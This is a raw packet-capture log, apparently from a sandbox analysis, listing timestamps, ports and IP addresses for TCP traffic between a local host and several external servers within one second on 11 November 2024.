Nov 11, 2024 12:40:29.740272045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740283966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740294933 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.740295887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740299940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740307093 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740307093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740324020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740324020 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740336895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740344048 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740348101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740358114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740375996 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740400076 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740490913 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.740777016 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740789890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740798950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740823030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740853071 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740909100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740926027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740936995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740947008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740951061 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.740952969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740959883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740964890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740969896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740976095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740987062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.740998030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741003036 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741015911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741029024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741038084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741044998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741060019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741066933 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741081953 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741111040 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741134882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741147041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741158009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741163015 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.741168022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741168976 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.741183043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741214037 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741239071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741250992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741261959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741280079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741281986 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741292000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741297960 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741297960 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.741302967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741332054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741360903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741391897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741430044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741512060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741523027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741534948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741547108 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741554976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741564035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741575956 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741588116 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741591930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741604090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741611004 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741615057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741617918 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741627932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741641998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741652966 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741652966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741667986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741677046 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741688013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741698980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741709948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741712093 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741719007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741746902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741750002 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741759062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741770029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741791964 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741806984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741815090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741821051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741832972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741854906 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741863966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741874933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741882086 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741888046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741909027 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741924047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741928101 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741935968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741961956 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.741992950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.741997004 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742006063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742017031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742043972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742070913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742094040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742106915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742119074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742127895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742137909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742142916 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742151976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742171049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742172956 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742208958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742238998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742249966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742260933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742285967 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742297888 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742321968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742338896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742350101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742362022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742369890 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742383957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742403030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742407084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742417097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742424965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742434025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742441893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742445946 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742458105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742460966 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742470026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742480040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742484093 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742491007 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742502928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742507935 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742513895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742516994 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742526054 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742547035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742580891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742683887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742695093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742706060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.742723942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.742744923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.744065046 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.744074106 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.745049953 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.745068073 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.745224953 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.745277882 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.745855093 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.745871067 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.746120930 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.746134043 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.746498108 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.746563911 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.747009039 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.747028112 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.747083902 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.747107983 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.747482061 CET	49905	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.747838974 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.747905970 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.748167038 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.748189926 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.748229980 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.748231888 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.748244047 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.748255968 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.748286009 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.748507977 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.748564005 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.749361038 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.749416113 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.749531031 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.749553919 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.749592066 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.749593973 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.749605894 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.749639034 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.750571966 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.750709057 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.752053022 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.752062082 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.752077103 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.752120018 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.752140999 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.752151966 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.752166986 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.752194881 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.752995014 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.753001928 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.753340960 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.753349066 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.753432035 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.753438950 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.753948927 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.753957987 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.758986950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759006023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759020090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759057999 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759064913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759071112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759083986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759090900 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759095907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759109974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759114981 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759150028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759293079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759303093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759320021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759335995 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759342909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759361029 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759365082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759380102 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759397984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759442091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759454966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759469986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759480953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759494066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759500980 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759527922 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759561062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759638071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759649992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759660006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.759664059 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759681940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.759706020 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.768151045 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.768172979 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.768230915 CET	49896	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.768249035 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.779360056 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.779423952 CET	49896	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.785414934 CET	49896	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.785424948 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.789959908 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.791333914 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.815620899 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.815629959 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.815659046 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.815670013 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.815704107 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.815722942 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.815773010 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.816020012 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.816071987 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.822052956 CET	49919	443	192.168.2.6	23.33.40.146
Nov 11, 2024 12:40:29.822071075 CET	443	49919	23.33.40.146	192.168.2.6
Nov 11, 2024 12:40:29.822197914 CET	49919	443	192.168.2.6	23.33.40.146
Nov 11, 2024 12:40:29.823132992 CET	49919	443	192.168.2.6	23.33.40.146
Nov 11, 2024 12:40:29.823146105 CET	443	49919	23.33.40.146	192.168.2.6
Nov 11, 2024 12:40:29.826298952 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.826311111 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.826311111 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.828005075 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.828027964 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.828092098 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.828099012 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.828147888 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.829314947 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.829338074 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.829382896 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.829389095 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.829421997 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.829442024 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.829670906 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.829690933 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.829720974 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.829725981 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.829761982 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.829786062 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.830626011 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.830636024 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.830653906 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.830710888 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.830718994 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.830740929 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.830753088 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.830784082 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.831196070 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.831248999 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.831254005 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.831265926 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.831315994 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.832218885 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.832298994 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.834039927 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.834062099 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.834120035 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.834126949 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.834157944 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.834177017 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.837671041 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.837685108 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.837754011 CET	49905	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.837760925 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.837877989 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.837933064 CET	49905	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.843100071 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.843123913 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.843173981 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.843183994 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.843189001 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.843194008 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.843245029 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.843298912 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.843317032 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.843358040 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.843400955 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.843837023 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.843888044 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.843909025 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.843971968 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.844027042 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.845885992 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.846158981 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.847146988 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.847341061 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.847373009 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.847394943 CET	49901	443	192.168.2.6	13.107.246.40
